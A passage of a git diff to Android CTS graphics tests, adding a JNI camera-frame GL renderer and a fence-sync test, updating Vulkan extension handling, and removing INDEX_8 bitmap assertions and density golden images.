+ }
+ }
+
+ bool isCameraReady() { return mCamera.isCameraReady(); }
+
+ // Retrun Zero on success, or negative error code.
+ int initRenderer() {
+ int ret = mImageReader.initImageReader();
+ if (ret < 0) {
+ ALOGE("Failed to initialize image reader: %d", ret);
+ return ret;
+ }
+
+ ret = mCamera.initCamera(mImageReader.getNativeWindow());
+ if (ret < 0) {
+ ALOGE("Failed to initialize camera: %d", ret);
+ return ret;
+ }
+
+ // This test should only test devices with at least one camera.
+ if (!mCamera.isCameraReady()) {
+ ALOGW(
+ "Camera is not ready after successful initialization. It's either due to camera on "
+ "board lacks BACKWARDS_COMPATIBLE capability or the device does not have camera on "
+ "board.");
+ return 0;
+ }
+
+ // Load shader and program.
+ mProgram = glCreateProgram();
+ GLuint vertShader = loadShader(GL_VERTEX_SHADER, kVertShader);
+ GLuint fragShader = loadShader(GL_FRAGMENT_SHADER, kFragShader);
+
+ if (vertShader == 0 || fragShader == 0) {
+ ALOGE("Failed to load shader");
+ return -EINVAL;
+ }
+
+ mProgram = glCreateProgram();
+ glAttachShader(mProgram, vertShader);
+ checkGlError("glAttachShader");
+ glAttachShader(mProgram, fragShader);
+ checkGlError("glAttachShader");
+
+ glLinkProgram(mProgram);
+ GLint success;
+ glGetProgramiv(mProgram, GL_LINK_STATUS, &success);
+ if (!success) {
+ GLchar infoLog[512];
+ glGetProgramInfoLog(mProgram, 512, nullptr, infoLog);
+ ALOGE("Shader failed to link: %s", infoLog);
+ return -EINVAL;
+ }
+
+ // Get attributes.
+ mPositionHandle = glGetAttribLocation(mProgram, "aPosition");
+ mTextureCoordsHandle = glGetAttribLocation(mProgram, "aTextureCoords");
+
+ // Get uniforms.
+ mTextureUniform = glGetUniformLocation(mProgram, "sTexture");
+ checkGlError("glGetUniformLocation");
+
+ // Generate texture.
+ glGenTextures(1, &mTextureId);
+ checkGlError("glGenTextures");
+ glBindTexture(GL_TEXTURE_EXTERNAL_OES, mTextureId);
+
+ // Cache the display
+ mEglDisplay = eglGetCurrentDisplay();
+
+ return 0;
+ }
+
+ // Return Zero on success, or negative error code.
+ int drawFrame() {
+ if (!mCamera.isCameraReady()) {
+ // We should never reach here. This test should just report success and quit early if
+ // no camera can be found during initialization.
+ ALOGE("No camera is ready for frame capture.");
+ return -EINVAL;
+ }
+
+ // Indicate the camera to take recording.
+ int ret = mCamera.takePicture();
+ if (ret < 0) {
+ ALOGE("Camera failed to take picture, error=%d", ret);
+ }
+
+ // Render the current buffer and then release it.
+ AHardwareBuffer* buffer;
+ ret = mImageReader.getBufferFromCurrentImage(&buffer);
+ if (ret != 0) {
+ // There might be no buffer acquired yet.
+ return ret;
+ }
+
+ AHardwareBuffer_Desc outDesc;
+ AHardwareBuffer_describe(buffer, &outDesc);
+
+ // Render with EGLImage.
+ EGLClientBuffer eglBuffer = eglGetNativeClientBufferANDROID(buffer);
+ if (!eglBuffer) {
+ ALOGE("Failed to create EGLClientBuffer");
+ return -EINVAL;
+ }
+
+ if (mEglImage != EGL_NO_IMAGE_KHR) {
+ eglDestroyImageKHR(mEglDisplay, mEglImage);
+ mEglImage = EGL_NO_IMAGE_KHR;
+ }
+
+ EGLint attrs[] = {
+ EGL_IMAGE_PRESERVED_KHR,
+ EGL_TRUE,
+ EGL_NONE,
+ };
+
+ mEglImage = eglCreateImageKHR(mEglDisplay, EGL_NO_CONTEXT, EGL_NATIVE_BUFFER_ANDROID,
+ eglBuffer, attrs);
+
+ if (mEglImage == EGL_NO_IMAGE_KHR) {
+ ALOGE("Failed to create EGLImage.");
+ return -EINVAL;
+ }
+
+ glClearColor(0.4f, 0.6f, 1.0f, 0.2f);
+ glClear(GL_COLOR_BUFFER_BIT);
+ checkGlError("glClearColor");
+
+ // Use shader
+ glUseProgram(mProgram);
+ checkGlError("glUseProgram");
+
+ // Map texture
+ glEGLImageTargetTexture2DOES(GL_TEXTURE_EXTERNAL_OES, mEglImage);
+
+ glActiveTexture(GL_TEXTURE0);
+ glBindTexture(GL_TEXTURE_EXTERNAL_OES, mTextureId);
+ glUniform1i(mTextureUniform, 0);
+ checkGlError("glUniform1i");
+
+ // Draw mesh
+ glVertexAttribPointer(mPositionHandle, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat),
+ kScreenTriangleStrip);
+ glEnableVertexAttribArray(mPositionHandle);
+ glVertexAttribPointer(mTextureCoordsHandle, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat),
+ kScreenTriangleStrip + 2);
+ glEnableVertexAttribArray(mTextureCoordsHandle);
+
+ glDrawArrays(GL_TRIANGLE_STRIP, 0, 4);
+ checkGlError("glDrawArrays");
+
+ return 0;
+ }
+
+ private:
+ static GLuint loadShader(GLenum shaderType, const char* source) {
+ GLuint shader = glCreateShader(shaderType);
+
+ glShaderSource(shader, 1, &source, nullptr);
+ glCompileShader(shader);
+
+ GLint success;
+ glGetShaderiv(shader, GL_COMPILE_STATUS, &success);
+ if (!success) {
+ ALOGE("Shader Failed to compile: %s", source);
+ shader = 0;
+ }
+ return shader;
+ }
+
+ ImageReaderHelper mImageReader;
+ CameraHelper mCamera;
+
+ // Shader
+ GLuint mProgram{0};
+
+ // Texture
+ EGLDisplay mEglDisplay{EGL_NO_DISPLAY};
+ EGLImageKHR mEglImage{EGL_NO_IMAGE_KHR};
+ GLuint mTextureId{0};
+ GLuint mTextureUniform{0};
+ GLuint mPositionHandle{0};
+ GLuint mTextureCoordsHandle{0};
+};
+
+inline jlong jptr(CameraFrameRenderer* native_video_player) {
+ return reinterpret_cast<intptr_t>(native_video_player);
+}
+
+inline CameraFrameRenderer* native(jlong ptr) {
+ return reinterpret_cast<CameraFrameRenderer*>(ptr);
+}
+
+jlong createRenderer(JNIEnv*, jclass) {
+ auto renderer = std::unique_ptr<CameraFrameRenderer>(new CameraFrameRenderer);
+ int ret = renderer->initRenderer();
+ if (ret < 0) {
+ ALOGE("Failed to init renderer: %d", ret);
+ return jptr(nullptr);
+ }
+
+ return jptr(renderer.release());
+}
+
+bool isCameraReady(JNIEnv*, jclass, jlong renderer) {
+ if (renderer == 0) {
+ ALOGE("Invalid renderer.");
+ return -EINVAL;
+ }
+
+ return native(renderer)->isCameraReady();
+}
+
+void destroyRenderer(JNIEnv*, jclass, jlong renderer) { delete native(renderer); }
+
+jint drawFrame(JNIEnv*, jclass, jlong renderer) {
+ if (renderer == 0) {
+ ALOGE("Invalid renderer.");
+ return -EINVAL;
+ }
+
+ return native(renderer)->drawFrame();
+}
+
+const std::vector<JNINativeMethod> gMethods = {{
+ {"nCreateRenderer", "()J", (void*)createRenderer},
+ {"nIsCameraReady", "(J)Z", (void*)isCameraReady},
+ {"nDestroyRenderer", "(J)V", (void*)destroyRenderer},
+ {"nDrawFrame", "(J)I", (void*)drawFrame},
+}};
+
+} // namespace
+
+int register_android_graphics_cts_CameraGpuCtsActivity(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/graphics/cts/CameraGpuCtsActivity");
+ return env->RegisterNatives(clazz, gMethods.data(), gMethods.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
new file mode 100644
index 0000000..aeea02c
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "SyncTest"
+
+#include <poll.h>
+#include <unistd.h>
+
+#include <array>
+#include <memory>
+
+#include <jni.h>
+
+#include <android/sync.h>
+
+namespace {
+
+enum {
+ STATUS_ERROR = -1,
+ STATUS_UNSIGNALED = 0,
+ STATUS_SIGNALED = 1,
+};
+
+jboolean syncPoll(JNIEnv* env, jclass /*clazz*/, jintArray fds_array, jintArray status_array) {
+ jsize n = env->GetArrayLength(fds_array);
+ if (env->GetArrayLength(status_array) != n)
+ return JNI_FALSE;
+ std::unique_ptr<pollfd[]> pollfds = std::make_unique<pollfd[]>(n);
+
+ jint* fds = static_cast<jint*>(env->GetPrimitiveArrayCritical(fds_array, nullptr));
+ for (jsize i = 0; i < n; i++) {
+ pollfds[i].fd = fds[i];
+ pollfds[i].events = POLLIN;
+ }
+ env->ReleasePrimitiveArrayCritical(fds_array, fds, 0);
+
+ int ret;
+ do {
+ ret = poll(pollfds.get(), n, -1 /* infinite timeout */);
+ } while (ret == -1 && errno == EINTR);
+ if (ret == -1)
+ return JNI_FALSE;
+
+ jint* status = static_cast<jint*>(env->GetPrimitiveArrayCritical(status_array, nullptr));
+ for (jsize i = 0; i < n; i++) {
+ if (pollfds[i].fd < 0)
+ continue;
+ if ((pollfds[i].revents & (POLLERR | POLLNVAL)) != 0)
+ status[i] = STATUS_ERROR;
+ else if ((pollfds[i].revents & POLLIN) != 0)
+ status[i] = STATUS_SIGNALED;
+ else
+ status[i] = STATUS_UNSIGNALED;
+ }
+ env->ReleasePrimitiveArrayCritical(status_array, status, 0);
+
+ return JNI_TRUE;
+}
+
+jint syncMerge(JNIEnv* env, jclass /*clazz*/, jstring nameStr, jint fd1, jint fd2) {
+ const char* name = env->GetStringUTFChars(nameStr, nullptr);
+ int32_t result_fd = sync_merge(name, fd1, fd2);
+ env->ReleaseStringUTFChars(nameStr, name);
+ return result_fd;
+}
+
+jobject syncFileInfo(JNIEnv* /*env*/, jclass /*clazz*/, jint fd) {
+ auto info = sync_file_info(fd);
+ if (!info) return nullptr;
+ // TODO: convert to SyncFileInfo
+ sync_file_info_free(info);
+ return nullptr;
+}
+
+void syncClose(int fd) {
+ close(fd);
+}
+
+const std::array<JNINativeMethod, 4> JNI_METHODS = {{
+ { "nSyncPoll", "([I[I)Z", (void*)syncPoll },
+ { "nSyncMerge", "(Ljava/lang/String;II)I", (void*)syncMerge },
+ { "nSyncFileInfo", "(I)Landroid/graphics/cts/SyncTest/SyncFileInfo;", (void*)syncFileInfo },
+ { "nSyncClose", "(I)V", (void*)syncClose },
+}};
+
+}
+
+int register_android_graphics_cts_SyncTest(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/graphics/cts/SyncTest");
+ return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
index 17f4e60..7018a34 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
@@ -21,12 +21,6 @@
#include <jni.h>
#include <vkjson.h>
-// TODO(jessehall): Remove this once we update the NDK vulkan.h to a newer
-// version that defines this.
-#ifndef VK_API_VERSION_1_0
-#define VK_API_VERSION_1_0 VK_MAKE_VERSION(1, 0, 0)
-#endif
-
#define ALOGI(msg, ...) \
__android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
#define ALOGE(msg, ...) \
@@ -34,9 +28,43 @@
namespace {
+const char* kDesiredInstanceExtensions[] = {
+ "VK_KHR_get_physical_device_properties2",
+};
+
VkResult getVkJSON(std::string& vkjson) {
VkResult result;
+ uint32_t available_extensions_count = 0;
+ std::vector<VkExtensionProperties> available_extensions;
+ result = vkEnumerateInstanceExtensionProperties(nullptr /* layerName */,
+ &available_extensions_count, nullptr);
+ if (result != VK_SUCCESS) {
+ ALOGE("vkEnumerateInstanceExtensionProperties failed: %d", result);
+ return result;
+ }
+ do {
+ available_extensions.resize(available_extensions_count);
+ result = vkEnumerateInstanceExtensionProperties(nullptr /* layerName */,
+ &available_extensions_count, available_extensions.data());
+ if (result < 0) {
+ ALOGE("vkEnumerateInstanceExtensionProperties failed: %d", result);
+ return result;
+ }
+ } while (result == VK_INCOMPLETE);
+ available_extensions.resize(available_extensions_count);
+
+ std::vector<const char*> enable_extensions;
+ for (auto name : kDesiredInstanceExtensions) {
+ if (std::find_if(available_extensions.cbegin(), available_extensions.cend(),
+ [name](const VkExtensionProperties& properties) {
+ return strcmp(name, properties.extensionName) == 0;
+ })
+ != available_extensions.cend()) {
+ enable_extensions.push_back(name);
+ }
+ }
+
const VkApplicationInfo app_info = {
VK_STRUCTURE_TYPE_APPLICATION_INFO, nullptr,
"VulkanFeaturesTest", 0, /* app name, version */
@@ -48,7 +76,8 @@
0, /* flags */
&app_info,
0, nullptr, /* layers */
- 0, nullptr, /* extensions */
+ static_cast<uint32_t>(enable_extensions.size()),
+ enable_extensions.data(),
};
VkInstance instance;
result = vkCreateInstance(&instance_info, nullptr, &instance);
@@ -74,8 +103,9 @@
vkjson.assign("[\n");
for (size_t i = 0, n = gpus.size(); i < n; i++) {
- auto props = VkJsonGetAllProperties(gpus[i]);
- vkjson.append(VkJsonAllPropertiesToJson(props));
+ auto props = VkJsonGetDevice(instance, gpus[i],
+ instance_info.enabledExtensionCount, instance_info.ppEnabledExtensionNames);
+ vkjson.append(VkJsonDeviceToJson(props));
if (i < n - 1)
vkjson.append(",\n");
}
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png
deleted file mode 100644
index de48ed9..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png
deleted file mode 100644
index 0682813..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png
deleted file mode 100644
index 5588a5a..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png
deleted file mode 100644
index 2e77270..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
deleted file mode 100644
index b5c328b..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
deleted file mode 100644
index a755249..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png
deleted file mode 100644
index 2e77270..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
deleted file mode 100644
index d6f5cce..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
deleted file mode 100644
index 3c5f37e..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index 5454e2f..4617f62 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index ea6441a..4d6b84d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index 54fbca7..c6540e8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index 40432cd..491e73e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index 06eccb8..e335a92 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 64a6476..57f2ae3 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_density.xml b/tests/tests/graphics/res/drawable/bitmap_density.xml
deleted file mode 100644
index 5fb3611..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_density.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
- android:src="@drawable/bitmap_density_internal" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_density_internal.png
deleted file mode 100644
index a4add51..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml b/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml
deleted file mode 100644
index dfecfbb..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
- android:src="@drawable/bitmap_shader_density_internal"
- android:tileModeX="repeat"
- android:tileModeY="clamp"
- android:autoMirrored="true" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png
deleted file mode 100644
index b6d4d89..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_density.xml b/tests/tests/graphics/res/drawable/bitmap_shader_density.xml
deleted file mode 100644
index 435b06a..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_density.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
- android:src="@drawable/bitmap_shader_density_internal"
- android:tileModeX="repeat"
- android:tileModeY="clamp" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png
deleted file mode 100644
index b6d4d89..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 77a700d..29ecb64 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -204,7 +204,6 @@
assertEquals(START_WIDTH, b.getWidth());
}
- @CddTest(requirement="5.1.5/C-0-1,C-0-2,C-0-3,C-0-4,C-0-5")
@Test
public void testDecodeStream3() {
for (int i = 0; i < RES_IDS.length; ++i) {
@@ -217,7 +216,6 @@
}
}
- @CddTest(requirement="5.1.4/C-0-3,5.1.5/C-0-5")
@Test
public void testDecodeStream4() {
BitmapFactory.Options options = new BitmapFactory.Options();
@@ -253,7 +251,6 @@
}
}
- @CddTest(requirement="5.1.4/C-0-3,5.1.5/C-0-5")
@Test
public void testDecodeStream5() {
BitmapFactory.Options options = new BitmapFactory.Options();
@@ -621,19 +618,13 @@
verifyScaled(BitmapFactory.decodeStream(obtainInputStream(), null, scaledOpt));
}
- // Test that writing an index8 bitmap to a Parcel succeeds.
@Test
public void testParcel() {
- // Turn off scaling, which would convert to an 8888 bitmap, which does not expose
- // the bug.
BitmapFactory.Options opts = new BitmapFactory.Options();
opts.inScaled = false;
Bitmap b = BitmapFactory.decodeResource(mRes, R.drawable.gif_test, opts);
assertNotNull(b);
- // index8 has no Java equivalent, so the Config will be null.
- assertNull(b.getConfig());
-
Parcel p = Parcel.obtain();
b.writeToParcel(p, 0);
@@ -641,9 +632,6 @@
Bitmap b2 = Bitmap.CREATOR.createFromParcel(p);
compareBitmaps(b, b2, 0, true, true);
- // When this failed previously, the bitmap was missing a colortable, resulting in a crash
- // attempting to compress by dereferencing a null pointer. Compress to verify that we do
- // not crash, but succeed instead.
ByteArrayOutputStream baos = new ByteArrayOutputStream();
assertTrue(b2.compress(Bitmap.CompressFormat.JPEG, 50, baos));
}
@@ -671,17 +659,16 @@
// most natural match for the encoded data.
// Options.inPreferredConfig = null
// We will decode to whichever Config is the most natural match with the
- // encoded data. This could be 8-bit indices into a color table (call this
- // INDEX_8), ALPHA_8 (gray), or ARGB_8888.
+ // encoded data. This could be ALPHA_8 (gray) or ARGB_8888.
//
// This test ensures that images are decoded to the intended Config and that the
// decodes match regardless of the Config.
- decodeConfigs(R.drawable.alpha, 31, 31, true, false, false);
- decodeConfigs(R.drawable.baseline_jpeg, 1280, 960, false, false, false);
- decodeConfigs(R.drawable.bmp_test, 320, 240, false, false, false);
- decodeConfigs(R.drawable.scaled2, 6, 8, false, false, true);
- decodeConfigs(R.drawable.grayscale_jpg, 128, 128, false, true, false);
- decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true, false);
+ decodeConfigs(R.drawable.alpha, 31, 31, true, false);
+ decodeConfigs(R.drawable.baseline_jpeg, 1280, 960, false, false);
+ decodeConfigs(R.drawable.bmp_test, 320, 240, false, false);
+ decodeConfigs(R.drawable.scaled2, 6, 8, false, false);
+ decodeConfigs(R.drawable.grayscale_jpg, 128, 128, false, true);
+ decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true);
}
@Test(expected=IllegalArgumentException.class)
@@ -818,8 +805,7 @@
}
}
- private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray,
- boolean hasColorTable) {
+ private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray) {
Options opts = new BitmapFactory.Options();
opts.inScaled = false;
assertEquals(Config.ARGB_8888, opts.inPreferredConfig);
@@ -865,21 +851,15 @@
compareBitmaps(reference, grayToARGB(alpha8), 0, true, true);
}
- // Setting inPreferredConfig to null selects the most natural color type for
- // the encoded data. If the image has a color table, this should be INDEX_8.
- // If we decode to INDEX_8, the output bitmap will report that the Config is
- // null.
+ // Setting inPreferredConfig to nullptr will cause the default Config to be
+ // selected, which in this case is ARGB_8888.
opts.inPreferredConfig = null;
- Bitmap index8 = BitmapFactory.decodeResource(mRes, id, opts);
- assertNotNull(index8);
- assertEquals(width, index8.getWidth());
- assertEquals(height, index8.getHeight());
- if (hasColorTable) {
- assertEquals(null, index8.getConfig());
- // Convert the INDEX_8 bitmap to ARGB_8888 and test that it is identical to
- // the reference.
- compareBitmaps(reference, index8.copy(Config.ARGB_8888, false), 0, true, true);
- }
+ Bitmap defaultBitmap = BitmapFactory.decodeResource(mRes, id, opts);
+ assertNotNull(defaultBitmap);
+ assertEquals(width, defaultBitmap.getWidth());
+ assertEquals(height, defaultBitmap.getHeight());
+ assertEquals(Config.ARGB_8888, defaultBitmap.getConfig());
+ compareBitmaps(reference, defaultBitmap, 0, true, true);
}
private static Bitmap grayToARGB(Bitmap gray) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
index 42b493d..ad759bb 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
@@ -92,7 +92,6 @@
b = BitmapFactory.decodeResource(resources, R.drawable.bitmap_indexed, options);
assertNull(b);
assertEquals("image/gif", options.outMimeType);
- assertEquals(null, options.outConfig);
// Scaled, indexed bitmap
options.inScaled = true;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index aea201c..b863861 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -580,6 +580,17 @@
Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
}
+ @Test(expected = IllegalArgumentException.class)
+ public void testHardwareBitmapIn() throws IOException {
+ Options opts = new BitmapFactory.Options();
+ Bitmap bitmap = Bitmap.createBitmap(TILE_SIZE, TILE_SIZE, Config.ARGB_8888)
+ .copy(Config.HARDWARE, false);
+ opts.inBitmap = bitmap;
+ InputStream is = obtainInputStream(RES_IDS[0]);
+ BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+ decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+ }
+
private void compareRegionByRegion(BitmapRegionDecoder decoder,
Options opts, int mseMargin, Bitmap wholeImage) {
int width = decoder.getWidth();
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 417dd69..29aefbe4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -32,12 +32,15 @@
import android.graphics.ColorSpace;
import android.graphics.Matrix;
import android.graphics.Paint;
+import android.os.Debug;
import android.os.Parcel;
import android.os.StrictMode;
import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
+import android.view.Surface;
import com.android.compatibility.common.util.ColorUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
@@ -51,6 +54,8 @@
import java.nio.CharBuffer;
import java.nio.IntBuffer;
